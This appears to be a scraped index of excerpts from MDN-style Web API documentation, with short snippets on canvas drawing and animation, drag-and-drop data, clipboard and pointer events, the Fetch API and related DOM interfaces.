revious value. examples drawing translucent shapes this example uses the globalalpha property to draw two semi-transparent rectangles. html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.globalalpha = 0.5; ctx.fillstyle = 'blue'; ctx.fillrect(10, 10, 100, 100); ctx.fillstyle = 'red'; ctx.fillrect(50, 50, ...
...ffect of overlaying multiple transparent shapes on top of each other. we begin by drawing a solid background composed of four differently colored squares. next, we set the globalalpha property to 0.2 (20% opaque); this alpha level will apply to all of our transparent shapes. after that, we use a for loop to draw a series of circles with increasing radii. with each new circle, the opacity of the p
revious circles underneath is effectively increased. if we were to increase the step count (and thus draw more circles), the background would eventually disappear completely from the center of the image. <canvas id="canvas" width="150" height="150"></canvas> const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // draw background ctx.fillstyle = '#fd0'; ctx.fillr...
Basic animations - Web APIs
« p
reviousnext » since we're using javascript to control <canvas> elements, it's also very easy to make (interactive) animations. in this chapter we will take a look at how to do some basic animations. probably the biggest limitation is, that once a shape gets drawn, it stays that way. if we need to move it we have to redraw it and everything that was drawn before it. it takes a lot of time to redraw complex frames and the performance depends highly on the speed of the computer it's running on. basic animation steps these are the steps you need to take to draw a frame: clear the canvas unless the shapes you'll be drawing fill the complete canvas (for instance a backdrop image), you need to clear any shapes that have been drawn p
reviously. the easiest way to do this...
...(d = t.key), "i" != e && "i" != e || (console.log("inc"), fw -= 10), "d" != e && "d" != e || (console.log("dec"), fw += 10) }, init(); output other examples a basic ray-caster a good example of how to do animations using keyboard controls. advanced animations we will have a look at some advanced animation techniques and physics in the next chapter. « p
reviousnext » ...
Basic usage of canvas - Web APIs
at the end of this page, you will know how to set up a canvas 2d context and have drawn a first example in your browser. the <canvas> element <canvas id="tutorial" width="150" height="150"></canvas> at first sight a <canvas> looks like the <img> element, with the only clear difference being that it doesn't have the src and alt attributes. indeed, the <canvas> element has only two attributes, width and height. these are both optional and can also be set using dom properties. when no width and height attributes are specified, the canvas will initially be 300 pixels wide and 150 pixels high. ...
... ctx = canvas.getcontext('2d'); ctx.fillstyle = 'rgb(200, 0, 0)'; ctx.fillrect(10, 10, 50, 50); ctx.fillstyle = 'rgba(0, 0, 200, 0.5)'; ctx.fillrect(30, 30, 50, 50); } } </script> </head> <body onload="draw();"> <canvas id="canvas" width="150" height="150"></canvas> </body> </html> this example looks like this: screenshotlive sample « p
reviousnext » ...
Compositing example - Web APIs
everything else is made transparent.', 'the new shape is drawn where it doesn\'t overlap the existing canvas content.', 'the new shape is only drawn where it overlaps the existing canvas content.
...trast.', 'preserves the luma and chroma of the bottom layer, while adopting the hue of the top layer.', 'preserves the luma and hue of the bottom layer, while adopting the chroma of the top layer.', 'preserves the luma of the bottom layer, while adopting the hue and chroma of the top layer.', 'preserves the hue and chroma of the bottom layer, while adopting the luma of the top layer.' ].
reverse(); var width = 320; var height = 340; main program when the page loads, this code runs to set up and run the example: window.onload = function() { // lum in srgb var lum = { r: 0.33, g: 0.33, b: 0.33 }; // resize canvas canvas1.width = width; canvas1.height = height; canvas2.width = width; canvas2.height = height; lightmix() ...
Compositing and clipping - Web APIs
this is more than adequate for most situations, but it limits the order in which composite shapes are built. we can, however, change this behaviour by setting the globalcompositeoperation property. in addition, the clip property allows us to hide unwanted parts of shapes. globalcompositeoperation we can not only draw new shapes behind existing shapes but we can also use it to mask off certain areas, clear sections from the canvas (not limited to rectangles like the clearrect() method does) and more. ...
...s state before creating the new one. ...
Drawing text - Web APIs
drawing text the canvas rendering context provides two methods to render text: filltext(text, x, y [, maxwidth]) fills a given text at the given (x,y) position. optionally with a maximum width to draw. stroketext(text, x, y [, maxwidth]) strokes a given text at the given (x,y) position. optionally with a maximum width to draw. a filltext example the text is filled using the current fillstyle. ...
...byid('canvas').getcontext('2d'); var text = ctx.measuretext('foo'); // textmetrics object text.width; // 16; } gecko-specific notes in gecko (the rendering engine of firefox, firefox os and other mozilla based applications), some prefixed apis were implemented in earlier versions to draw text on a canvas. these are now deprecated and removed, and are no longer guaranteed to work. « p
reviousnext » ...
Finale - Web APIs
more examples and tutorials there are a variety of demos and further explanations about canvas on these sites: codepen.io front end developer playground & code editor in the browser. html5 canvas tutorials examples for most canvas apis. game development gaming is one of the most popular computer activities. new technologies are constantly arriving to make it possible to develop better and more powerful games that can be run in any standards-compliant web browser. other web apis these apis might be useful when working further with canvas and graphics: webgl advanced api for rendering complex graphics, including 3d. ...
...n the web, allowing developers to choose audio sources, add effects to audio, create audio visualizations, apply spatial effects (such as panning) and much more. questions stack overflow questions tagged with "canvas". comments about this tutorial – the mdn documentation community if you have any comments about this tutorial or want to thank us, feel free to reach out to us! « p
revious ...
Using channel messaging - Web APIs
when the iframe has loaded, we register an onclick handler for our button and an onmessage handler for messagechannel.port1. finally we transfer ...
...rt transfering this message could be an empty string but in this example it is set to 'init'. the origin the message is to be sent to. * means "any origin". an object, the ownership of which is transferred to the receiving browsing context. in this case, we are transferring messagechannel.port2 to the iframe, so it can be used to communicate with the main page. when our button is clicked, we p
revent the form from submitting as normal and then send the value entered in our text input to the iframe via the messagechannel. receiving the port and message in the iframe over in the iframe, we have the following javascript: var list = document.queryselector('ul'); var port2; // listen for the initial port transfer message window.addeventlistener('message', initport); // setup the transferre...
Channel Messaging API - Web APIs
for instance a port, when is sent, cannot be used anymore by the original context. the other browsing context can listen for the message using messageport.onmessage, and grab the contents of the message using the event's data attribute. you could then respond by sending a message back to the original document using messageport.postmessage. wh...
..., and the app at the other end of the port uses port2 — you send a message to port2, and transfer the port over to the other browsing context using window.postmessage along with two arguments (the message to send, and the object to transfer ownership of, in this case the port itself.) when these transferable objects are transferred, they are 'neutered' on the p
revious context — the one they p
reviously belonged to. for instance a port, when is sent, cannot be used anymore by the original context. the other browsing context can listen for the message using messageport.onmessage, and grab the contents of the message using the event's data attribute. you could then respond by sending a message back to the original document using messageport.postmessage. when you want to stop sending messag...
DataTransfer.items - Web APIs
types[" + i + "] = " + ev.datatransfer.types[i]); } } // prin...
..... types[" + i + "] = " + ev.datatransfer.types[i]); } } // print each item's "kind" and "type" if (ev.datatransfer.items != null) { for (var i=0; i < ev.datatransfer.items.length; i++) { console.log("... ...
DataTransfer.setData() - Web APIs
k; } </style> <script> function dragstart_handler(ev) { console.log("dragstart"); // change the source element's background color to signify drag has started ev.currenttarget.style.border = "dashed"; // set the drag's format and data. ...
...gstart"); // change the source element's background color to signify drag has started ev.currenttarget.style.border = "dashed"; // set the drag's format and data. ...
DataTransfer.setDragImage() - Web APIs
data ev.datatransfer.setdata("text/plain", ev.target.id); // create an image and use it for the drag image // note: change "example.gif" to an existing image or the image will not // be created and the default drag image will be used. ...
...mage and use it for the drag image // note: change "example.gif" to an existing image or the image will not // be created and the default drag image will be used. ...
DataTransfer.types - Web APIs
types[" + i + "] = " + ev.datatransfer.types[i]); } } // prin...
..... types[" + i + "] = " + ev.datatransfer.types[i]); } } // print each item's "kind" and "type" if (ev.datatransfer.items != null) { for (var i=0; i < ev.datatransfer.items.length; i++) { console.log("... ...
DataTransferItemList.DataTransferItem() - Web APIs
t's id to the drag payload so the drop handler will // know which element to add to its tree var datalist = ev.datatransfer.items; datalist.add(ev.target.id, "text/plain"); // add some other items to the drag payload datalist.add("<p>... ...
...item is html data[i].getasstring(function (s){ console.log("... drop: html = " + s); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/uri-list'))) { // drag data item is uri data[i].getasstring(function (s){ console.log("... ...
DataTransferItemList.add() - Web APIs
t's id to the drag payload so the drop handler will // know which element to add to its tree var datalist = ev.datatransfer.items; datalist.add(ev.target.id, "text/plain"); // add some other items to the drag payload datalist.add("<p>... ...
...item is html data[i].getasstring(function (s){ console.log("... drop: html = " + s); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/uri-list'))) { // drag data item is uri data[i].getasstring(function (s){ console.log("... ...
DataTransferItemList.clear() - Web APIs
t's id to the drag payload so the drop handler will // know which element to add to its tree var datalist = ev.datatransfer.items; datalist.add(ev.target.id, "text/plain"); // add some other items to the drag payload datalist.add("<p>... ...
...item is html data[i].getasstring(function (s){ console.log("... drop: html = " + s); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/uri-list'))) { // drag data item is uri data[i].getasstring(function (s){ console.log("... ...
DataTransferItemList.length - Web APIs
t's id to the drag payload so the drop handler will // know which element to add to its tree var datalist = ev.datatransfer.items; datalist.add(ev.target.id, "text/plain"); // add some other items to the drag payload datalist.add("<p>... ...
...item is html data[i].getasstring(function (s){ console.log("... drop: html = " + s); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/uri-list'))) { // drag data item is uri data[i].getasstring(function (s){ console.log("... ...
DataTransferItemList.remove() - Web APIs
t's id to the drag payload so the drop handler will // know which element to add to its tree var datalist = ev.datatransfer.items; datalist.add(ev.target.id, "text/plain"); // add some other items to the drag payload datalist.add("<p>... ...
...item is html data[i].getasstring(function (s){ console.log("... drop: html = " + s); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/uri-list'))) { // drag data item is uri data[i].getasstring(function (s){ console.log("... ...
Document: pointercancel event - Web APIs
the pointercancel event is fired when the browser determines that there are unlikely to be any more pointer events, or if after the pointerdown event is fired, the pointer is then used to manipulate the viewport by panning, zooming, or scrolling. bubbles yes cancelable no interface pointe
revent event handler property onpointercancel some examples of situations that will trigger a pointercancel event: a hardware event occurs that cancels the pointer activities. this may include, for example, the user switching applications using an application switcher interface or the "home" button on a mobile device. the device's screen orientation is changed while the pointer is active. the browser decides that the user started pointer input acci...
... that cancels the pointer activities. this may include, for example, the user switching applications using an application switcher interface or the "home" button on a mobile device. the device's screen orientation is changed while the pointer is active. the browser decides that the user started pointer input accidentally. this can happen if, for example, the hardware supports palm rejection to p
revent a hand resting on the display while using a stylus from accidentally triggering events. the touch-action css property p
revents the input from continuing. after the pointercancel event is fired, the browser will also send pointerout followed by pointerleave. examples using addeventlistener(): document.addeventlistener('pointercancel', (event) => { console.log('pointer event cancelled'...
Introduction to the DOM - Web APIs
ppendchild(heading_text); document.body.appendchild(heading); } </script> </head> <body> </body> </html> fundamental data types this reference tries to describe the various objects and types in simple terms. but there are a number of different data types being passed around the api that you should be aware of. note: because the vast majority of code that uses the dom
revolves around manipulating html documents, it's common to refer to the nodes in the dom as elements, although strictly speaking not every node is an element. the following table briefly describes these data types. data type (interface) description document when a member returns an object of type document (e.g., the ownerdocument property of an element returns the docu...
...epresents something like the browser, and the document object is the root of the document itself. element inherits from the generic node interface, and together these two interfaces provide many of the methods and properties you use on individual elements. these elements may also have specific interfaces for dealing with the kind of data those elements hold, as in the table object example in the p
revious section. the following is a brief list of common apis in web and xml page scripting using the dom. document.getelementbyid(id) document.getelementsbytagname(name) document.createelement(name) parentnode.appendchild(node) element.innerhtml element.style.left element.setattribute() element.getattribute() element.addeventlistener() window.content window.onload window.scrollto() ...
Traversing an HTML table with JavaScript and DOM Interfaces - Web APIs
f you want to append a text node between hello and world, you will need to use insertbefore instead of appendchild. creating new elements with the document object and the createelement(..) method you can create new html elements or any other element you want with createelement. for example, if you want to create a new <p> element as a child of the <body> element, you can use the mybody in the p
revious example and append a new element node. to create a node simply call document.createelement("tagname"). for example: mynewptagnode = document.createelement("p"); mybody.appendchild(mynewptagnode); removing nodes with the removechild(..) method nodes can be removed. the following code removes text node mytextnode (containing the word "world") from the second <p> element, myp. myp.removec...
...taches mytextnode to the recently created <p> element, mynewptagnode. mynewptagnode.appendchild(mytextnode); the final state for the modified object tree looks like this: creating a table dynamically (back to sample1.html) for the rest of this article we will continue working with sample1.html. the following figure shows the table object tree structure for the table created in the sample.
reviewing the html table structure creating element nodes and inserting them into the document tree the basic steps to create the table in sample1.html are: get the body object (first item of the document object). create all the elements. finally, append each child according to the table structure (as in the above figure). the following source code is a commented version for the sample1.html...
EffectTiming.fill - Web APIs
s back to its original state and is upright once again. give it a try below! follow the white rabbit example in the follow the white rabbit example, the white rabbit's animation is formed by coupling a keyframeeffect with an animation object. the keyframeeffect takes an object of timing properties, which is where we pass in fill. ...
...animation = new animation(rabbitdownkeyframes, document.timeline); alternatives to fill modes fill modes are primarily provided as a means of representing the animation-fill-mode feature of css animations. when used to persist the effect of an animation indefinitely, however, they have a number of drawbacks: the forwards fill of an animation (or backwards fill if the animation is playing in
reverse) will continue to override any changes to specified style indefinitely which can lead to confusing behavior. this is because animations take priority in the css cascade over normal author styles. in order to avoid leaking memory when many filling animations overlap, the browser is required to remove overlapped animations which can lead to surprising results in some cases. rather than using...
Element: DOMMouseScroll event - Web APIs
asynchronously when mouse wheel or similar device is operated and the accumulated scroll amount is over 1 line or 1 page since last event. it's represented by the mousescrollevent interface. this event was only implemented by firefox. you should instead use the standard wheel event. ...
... use the standardized wheel event if available. properties the event has only one additional property beyond standard events. ...
Element.animate() - Web APIs
teger representing the animation's duration (in milliseconds), or an object containing one or more timing properties: id optional a property unique to animate(): a domstring with which to reference the animation. delay optional the number of milliseconds to delay the start of the animation. defaults to 0. direction optional whether the animation runs forwards (normal), backwards (
reverse), switches direction after each iteration (alternate), or runs backwards and switches direction after each iteration (alternate-
reverse). defaults to "normal". duration optional the number of milliseconds each iteration of the animation takes to complete. defaults to 0. although this is technically optional, keep in mind that your animation will not run if this value is 0. easing optional ...
...e operation. defaults to replace. add dictates an additive effect, where each successive iteration builds on the last. for instance with transform, a translatex(-200px) would not override an earlier rotate(20deg) value but result in translatex(-200px) rotate(20deg). accumulate is similar but a little smarter: blur(2) and blur(5) become blur(7), not blur(2) blur(5). replace overwrites the p
revious value with the new one. iterationcomposite optional determines how values build from iteration to iteration in this animation. can be set to accumulate or replace (see above). defaults to replace. return value returns an animation. examples in the demo down the rabbit hole (with the web animation api), we use the convenient animate() method to immediately create and play an animat...
Element.classList - Web APIs
l for both classlist and domtokenlist ensures full compliance (coverage) for all standard methods and properties of element.prototype.classlist for ie10-ie11 browsers plus nearly compliant behavior for ie 6-9. check it out: // 1. ...
...prop !== "classlist") return; skippropchange = 1, target.classlist = restokenlist, target.classname = strval; skippropchange = 0, restokenlist.length = tokens.length - sub; } } function polyfillclasslist(ele){ if (!ele || !("innerhtml" in ele)) throw typeerror("illegal invocation"); ele.detachevent( "onpropertychange", whenpropchanges ); // p
revent duplicate handler infinite loop allowtokenlistconstruction = 1; try{ function protoobj(){} protoobj.prototype = new domtokenlist(); } finally { allowtokenlistconstruction = 0 } var protoobjproto = protoobj.prototype, restokenlist = new protoobj(); a: for(var toks=ele.classname.trim().split(wsre), ci=0, clen=toks.length, sub=0; ci !== clen; ++ci){ ...
Element: contextmenu event - Web APIs
n a context menu. this event is typically triggered by clicking the right mouse button, or by pressing the context menu key. in the latter case, the context menu is displayed at the bottom left of the focused element, unless the element is a tree, in which case the context menu is displayed at the bottom left of the current row. any right-click event that is not disabled (by calling the event's p
reventdefault() method) will result in a contextmenu event being fired at the targeted element. bubbles yes cancelable yes interface mouseevent event handler property oncontextmenu examples in this example, the default action of the contextmenu event is canceled using p
reventdefault() when the contextmenu event is fired at the first paragraph. ...
...e first paragraph will do nothing when right-clicked, while the second paragraph will show the standard context menu offered by your browser. html <p id="nocontextmenu">the context menu has been disabled on this paragraph.</p> <p>but it has not been disabled on this one.</p> javascript nocontext = document.getelementbyid('nocontextmenu'); nocontext.addeventlistener('contextmenu', e => { e.p
reventdefault(); }); result specifications specification status comment html living standardthe definition of 'contextmenu' in that specification. living standard ...
Element: copy event - Web APIs
yes cancelable yes interface clipboardevent event handler property oncopy the event's default action is to copy the selection (if any) to the clipboard. a handler for this event can modify the clipboard contents by calling setdata(format, data) on the event's clipboardevent.clipboarddata property, and cancelling the event's default action using event.p
reventdefault(). however, the handler cannot read the clipboard data. it's possible to construct and dispatch a synthetic copy event, but this will not affect the system clipboard. examples live example html <div class="source" contenteditable="true">try copying text from this box...</div> <div class="target" contenteditable="true">...and pasting it into this one</div> css div.source, div.t...
...v> css div.source, div.target { border: 1px solid gray; margin: .5rem; padding: .5rem; height: 1rem; background-color: #e9eef1; } js const source = document.queryselector('div.source'); source.addeventlistener('copy', (event) => { const selection = document.getselection(); event.clipboarddata.setdata('text/plain', selection.tostring().touppercase()); event.p
reventdefault(); }); result specifications specification status clipboard api and events working draft ...
Element: cut event - Web APIs
interface clipboardevent event handler property oncut the event's default action is to copy the current selection (if any) to the system clipboard and remove it from the document. a handler for this event can modify the clipboard contents by calling setdata(format, data) on the event's clipboardevent.clipboarddata property, and cancelling the default action using event.p
reventdefault(). note though that cancelling the default action will also p
revent the document from being updated. so an event handler which wants to emulate the default action for "cut" while modifying the clipboard must also manually remove the selection from the document. the handler cannot read the clipboard data. it's possible to construct and dispatch a synthetic cut event, but this will not...
... border: 1px solid gray; margin: .5rem; padding: .5rem; height: 1rem; background-color: #e9eef1; } js const source = document.queryselector('div.source'); source.addeventlistener('cut', (event) => { const selection = document.getselection(); event.clipboarddata.setdata('text/plain', selection.tostring().touppercase()); selection.deletefromdocument(); event.p
reventdefault(); }); result specifications specification status clipboard api and events working draft ...
Element: paste event - Web APIs
lt action is to insert the contents of the clipboard into the document at the cursor position. a handler for this event can access the clipboard contents by calling getdata() on the event's clipboarddata property. to override the default behavior (for example to insert some different data or a transformation of the clipboard contents) an event handler must cancel the default action using event.p
reventdefault(), and then insert its desired data manually. it's possible to construct and dispatch a synthetic paste event, but this will not affect the document's contents. examples live example html <div class="source" contenteditable="true">try copying text from this box...</div> <div class="target" contenteditable="true">...and pasting it into this one</div> css div.source, div.target { ...
....queryselector('div.target'); target.addeventlistener('paste', (event) => { let paste = (event.clipboarddata || window.clipboarddata).getdata('text'); paste = paste.touppercase(); const selection = window.getselection(); if (!selection.rangecount) return false; selection.deletefromdocument(); selection.getrangeat(0).insertnode(document.createtextnode(paste)); event.p
reventdefault(); }); result specifications specification status clipboard api and events working draft ...
Element.releasePointerCapture() - Web APIs
return value this method returns undefined. exceptions exception explanation invalidpointerid pointerid does not match any of the active pointers. example this example sets pointer capture on a <div> when you press down on it. ...
... return value this method returns undefined. exceptions exception explanation invalidpointerid pointerid does not match any of the active pointers. example this example sets pointer capture on a <div> when you press down on it. ...
Element.setPointerCapture() - Web APIs
til capture is released (via element.releasepointercapture()). note: when pointer capture is set, pointerover, pointerout, pointerenter, and pointerleave events are only generated when crossing the boundary of the capture target. this has the effect of suppressing these events on all other elements. ...
... return value this method returns undefined. exceptions exception explanation invalidpointerid pointerid does not match any of the active pointers. example this example sets pointer capture on a <div> when you press down on it. this lets you slide the element horizontally, even when you pointer moves outside of its boundaries. ...
Element - Web APIs
he element including its content. when used as a setter, replaces the element with nodes parsed from the given string. element.part represents the part identifier(s) of the element (i.e. set using the part attribute), returned as a domtokenlist. element.prefix read only a domstring representing the namespace prefix of the element, or null if no prefix is specified. nondocumenttypechildnode.p
reviouselementsibling read only is a element, the element immediately preceding the given one in the tree, or null if there is no sibling element. element.scrollheight read only returns a number representing the scroll view height of an element. element.scrollleft is a number representing the left scroll offset of the element. element.scrollleftmax read only returns a number representing ...
...nting the child pseudo-element matched by the specified pseudo-element selector. element.queryselector() returns the first node which matches the specified selector string relative to the element. element.queryselectorall() returns a nodelist of nodes which match the specified selector string relative to the element. element.releasepointercapture() releases (stops) pointer capture that was p
reviously set for a specific pointer event. childnode.remove() removes the element from the children list of its parent. element.removeattribute() removes the named attribute from the current node. element.removeattributens() removes the attribute with the specified name and namespace, from the current node. eventtarget.removeeventlistener() removes an event listener from the element. elem...
EventTarget.removeEventListener() - Web APIs
the event listener to be removed is identified using a combination of the event type, the event listener function itself, and various optional options that may affect the matching process; see matching event listeners for removal syntax target.removeeventlistener(type, listener[, options]); target.removeeventlistener(type, listener[, usecapture]); parameters type a string which specifies the type of event for which to remove an event listener. listener the eventlistener function of the event handler to remove from the event target. ...
...red as a capturing listener or not. if this parameter is absent, a default value of false is assumed. if a listener is registered twice, one with capture and one without, remove each one separately. removal of a capturing listener does not affect a non-capturing version of the same listener, and vice versa. return value undefined matching event listeners for removal given an event listener p
reviously added by calling addeventlistener(), you may eventually come to a point at which you need to remove it. obviously, you need to specify the same type and listener parameters to removeeventlistener(). but what about the options or usecapture parameters? while addeventlistener() will let you add the same listener more than once for the same type if the options are different, the only option r...
FetchEvent - Web APIs
id of the same-origin client that initiated the fetch. fetchevent.preloadresponse read only a promise for a response, or undefined if this fetch is not a navigation, or navigation preload is not enabled. fetchevent.replacesclientid read only the id of the client that is being replaced during a page navigation. fetchevent.resultingclientid read only the id of the client that replaces the p
revious client during a page navigation. fetchevent.request read only the request the browser intends to make. methods inherits methods from its parent, extendableevent. fetchevent.respondwith() p
revent the browser's default fetch handling, and provide (a promise for) a response yourself. extendableevent.waituntil() extends the lifetime of the event. used to notify the browser of tasks ...
...is fetch event uses the browser default for non-get requests. for get requests it tries to return a match in the cache, and falls back to the network. if it finds a match in the cache, it asynchronously updates the cache for next time. self.addeventlistener('fetch', event => { // let the browser do its default thing // for non-get requests. if (event.request.method != 'get') return; // p
revent the default, and handle the request ourselves. event.respondwith(async function() { // try to get the response from a cache. const cache = await caches.open('dynamic-v1'); const cachedresponse = await cache.match(event.request); if (cachedresponse) { // if we found a match in the cache, return it, but also // update the entry in the cache in the background. ...
Using Fetch - Web APIs
fetch provides a better alternative that can be easily used by other technologies such as service workers. ...
...gical place to define other http-related concepts such as cors and extensions to http. the fetch specification differs from jquery.ajax() in three main ways: the promise returned from fetch() won’t reject on http error status even if the response is an http 404 or 500. instead, it will resolve normally (with ok status set to false), and it will only reject on network failure or if anything p
revented the request from completing. fetch() won't can receive cross-site cookies; you can’t can establish a cross site session using fetch. set-cookie headers from other sites are silently ignored. fetch won’t send cookies, unless you set the credentials init option. (since aug 25, 2017. the spec changed the default credentials policy to same-origin. firefox changed since 61.0b13.) a basic ...
Fetch API - Web APIs
the fetch api provides an interface for fetching resources (including across the network). it will seem familiar to anyone who has used xmlhttprequest, but the new api provides a more powerful and flexible feature set. concepts and usage fetch provides a generic definition of request and response objects (and other things involved with network requests). this will allow them to be used whe
rever they are needed in the future, whether it’s for service workers, cache api, and other similar things that handle or modify requests and responses, or any kind of use case that might require you to generate your responses programmatically (that is, the use of computer program or personal programming instructions). it also defines related concepts such as cors and the http origin header semantics, ...
...(for example, fetchevent.respondwith() from service workers). differences from jquery the fetch specification differs from jquery.ajax() in three main ways: the promise returned from fetch() won’t reject on http error status even if the response is an http 404 or 500. instead, it will resolve normally (with ok status set to false), and it will only reject on network failure or if anything p
revented the request from completing. fetch() won't can receive cross-site cookies; you can’t can establish a cross site session using fetch. set-cookie headers from other sites are silently ignored. fetch() won’t send cookies, unless you set credentials: 'same-origin'. in august 2017, the spec changed the default credentials policy to 'same-origin'. the following browsers shipped and out...
FormDataEvent.formData - Web APIs
read only property of the formdataevent interface contains the formdata object representing the data contained in the form when the event was fired. syntax formdata = formdataevent.formdata returns a formdata object. ...
...of the formdataevent interface contains the formdata object representing the data contained in the form when the event was fired. syntax formdata = formdataevent.formdata returns a formdata object. ...
FormDataEvent - Web APIs
from its parent interface, event. formdataevent.formdata contains the formdata object representing the data contained in the form when the event was fired. methods inherits methods from its parent interface, event. ...
...rface, event. formdataevent.formdata contains the formdata object representing the data contained in the form when the event was fired. methods inherits methods from its parent interface, event. ...
GlobalEventHandlers.oncontextmenu - Web APIs
the oncontextmenu property of the globaleventhandlers mixin is an eventhandler that processes contextmenu events. the contextmenu event typically fires when the right mouse button is clicked on the window. unless the default behavior is p
revented, the browser context menu will activate. syntax target.oncontextmenu = functionref; value functionref is a function name or a function expression. the function receives an event object as its sole argument. only one oncontextmenu handler can be assigned to an object at a time. you may prefer to use the eventtarget.addeventlistener() method instead, since it's more flexible. examples disabling context menus this snippet p
revents context menus from opening in the window. the context menu typically appears upon a right click. html <p>try op...
... be assigned to an object at a time. you may prefer to use the eventtarget.addeventlistener() method instead, since it's more flexible. examples disabling context menus this snippet p
revents context menus from opening in the window. the context menu typically appears upon a right click. html <p>try opening the context menu. is it disabled?<p> javascript window.oncontextmenu = (e) => { e.p
reventdefault(); } result pausing an animation this example pauses a spinning shape whenever you open the context menu. html <div class="shape">spinning</div> <p class="note" hidden>click to unpause.</p> css @keyframes spin { from { transform: rotate(0); } to { transform: rotate(1turn); } } .shape { width: 8em; height: 8em; display: flex; align-items: center; just...
GlobalEventHandlers.onformdata - Web APIs
r. onformdata is available on htmlformelement. syntax target.onformdata = functionref; value functionref is a function name or a function expression. the function receives a formdataevent object as its sole argument. ...
...ilable on htmlformelement. syntax target.onformdata = functionref; value functionref is a function name or a function expression. the function receives a formdataevent object as its sole argument. ...
GlobalEventHandlers.onmousedown - Web APIs
f the globaleventhandlers mixin is an eventhandler that processes mousedown events. the mousedown event fires when the user depresses the mouse button. note: the opposite of onmousedown is onmouseup. syntax target.onmousedown = functionref; value functionref is a function name or a function expression. the function receives a mouseevent object as its sole argument. example this example
reveals part of an image when you press and hold a mouse button. it uses the onmousedown, onmouseup, and onmousemove event handlers. html <div class="container"> <div class="view" hidden></div> <img src="https://udn.realityripple.com/samples/90/a34a525ace.jpg"> </div> css .container { width: 320px; height: 213px; background: black; } .view { position: absolute; width: 100px; heig...
...div> css .container { width: 320px; height: 213px; background: black; } .view { position: absolute; width: 100px; height: 100px; background: white; border-radius: 50%; } img { mix-blend-mode: darken; } javascript function showview(event) { view.removeattribute('hidden'); view.style.left = event.clientx - 50 + 'px'; view.style.top = event.clienty - 50 + 'px'; event.p
reventdefault(); } function moveview(event) { view.style.left = event.clientx - 50 + 'px'; view.style.top = event.clienty - 50 + 'px'; } function hideview(event) { view.setattribute('hidden', ''); } const container = document.queryselector('.container'); const view = document.queryselector('.view'); container.onmousedown = showview; container.onmousemove = moveview; document.onmouseup = hid...
HTMLAnchorElement - Web APIs
.username is a usvstring containing the username specified before the domain name. obsolete properties htmlanchorelement.charset is a domstring representing the character encoding of the linked resource. htmlanchorelement.coords is a domstring representing a comma-separated list of coordinates. htmlanchorelement.name is a domstring representing the anchor name. htmlanchorelement.
rev is a domstring representing that the
rev html attribute, specifying the relationship of the link object to the target object. note: currently the w3c html 5.2 spec states that
rev is no longer obsolete, whereas the whatwg living standard still has it labeled obsolete. until this discrepancy is resolved, you should still assume it is obsolete. htmlanchorelement.shape is a domstring repre...
... search, and hash, have been moved to the htmlhyperlinkelementutils mixin, and htmlanchorelement implements this mixin. html5the definition of 'htmlanchorelement' in that specification. recommendation the methods blur() and focus(), as well as the properties tabindex and accesskey, are now defined on htmlelement. the following properties are now obsolete: charset, coords, name,
rev, and shape. the following properties have been added: hash, host, hostname, media, pathname, port, protocol, rellist, search, and text. document object model (dom) level 2 html specificationthe definition of 'htmlanchorelement' in that specification. obsolete no change from document object model (dom) level 1 specification. document object model (dom) level 1 specifica...
HTMLElement.oncopy - Web APIs
e argument. example this example blocks every copy and paste attempt from the <textarea>. ...
...th this text area:</h3> <textarea id="editor" rows="3">try copying and pasting text into this field!</textarea> <h3>log:</h3> <p id="log"></p> javascript const log = document.getelementbyid('log'); function logcopy(event) { log.innertext = 'copy blocked!\n' + log.innertext; event.p
reventdefault(); } function logpaste(event) { log.innertext = 'paste blocked!\n' + log.innertext; event.p
reventdefault(); } const editor = document.getelementbyid('editor'); editor.oncopy = logcopy; editor.onpaste = logpaste; result specification whatwg standard ...
HTMLElement: pointercancel event - Web APIs
the pointercancel event is fired when the browser determines that there are unlikely to be any more pointer events, or if after the pointerdown event is fired, the pointer is then used to manipulate the viewport by panning, zooming, or scrolling. bubbles yes cancelable no interface pointe
revent event handler property onpointercancel some examples of situations that will trigger a pointercancel event: a hardware event occurs that cancels the pointer activities. this may include, for example, the user switching applications using an application switcher interface or the "home" button on a mobile device. the device's screen orientation is changed while the pointer is active. the browser decides that the user started pointer input acci...
... that cancels the pointer activities. this may include, for example, the user switching applications using an application switcher interface or the "home" button on a mobile device. the device's screen orientation is changed while the pointer is active. the browser decides that the user started pointer input accidentally. this can happen if, for example, the hardware supports palm rejection to p
revent a hand resting on the display while using a stylus from accidentally triggering events. the touch-action css property p
revents the input from continuing. after the pointercancel event is fired, the browser will also send pointerout followed by pointerleave. examples using addeventlistener(): const para = document.queryselector('p'); para.addeventlistener('pointercancel', (event) => { ...
HTMLFormElement: submit event - Web APIs
gger the submit request. the submit event fires when the user clicks a submit button (<button> or <input type="submit">) or presses enter while editing a field (e.g. <input type="text">) in a form. the event is not sent to the form when calling the form.submit() method directly. note: trying to submit a form that does not pass validation triggers an invalid event. in this case, the validation p
revents form submission, and thus there is no submit event. examples this example uses eventtarget.addeventlistener() to listen for form submit, and logs the current event.timestamp whenever that occurs, then p
revents the default action of submitting the form. html <form id="form"> <label>test field: <input type="text"></label> <br><br> <button type="submit">submit form</button> </form> <p...
...m submit, and logs the current event.timestamp whenever that occurs, then p
revents the default action of submitting the form. html <form id="form"> <label>test field: <input type="text"></label> <br><br> <button type="submit">submit form</button> </form> <p id="log"></p> javascript function logsubmit(event) { log.textcontent = `form submitted! time stamp: ${event.timestamp}`; event.p
reventdefault(); } const form = document.getelementbyid('form'); const log = document.getelementbyid('log'); form.addeventlistener('submit', logsubmit); result specifications specification status comment html living standardthe definition of 'submit' in that specification. working draft no change html 5.2the definition of 'submit' in that specification...
HTMLImageElement - Web APIs
ageelement.name a domstring representing the name of the element. htmlimageelement.vspace an integer value specifying the amount of empty space, in pixels, to leave above and below the image. methods inherits properties from its parent, htmlelement. htmlimageelement.decode() returns a promise that resolves when the image is decoded and it's safe to append the image to the dom. this p
revents rendering of the next frame from having to pause to decode the image, as would happen if an undecoded image were added to the dom. errors if an error occurs while trying to load or render the image, and an onerror event handler has been configured to handle the error event, that event handler will get called. this can happen in a number of situations, including: the src attribute is emp...
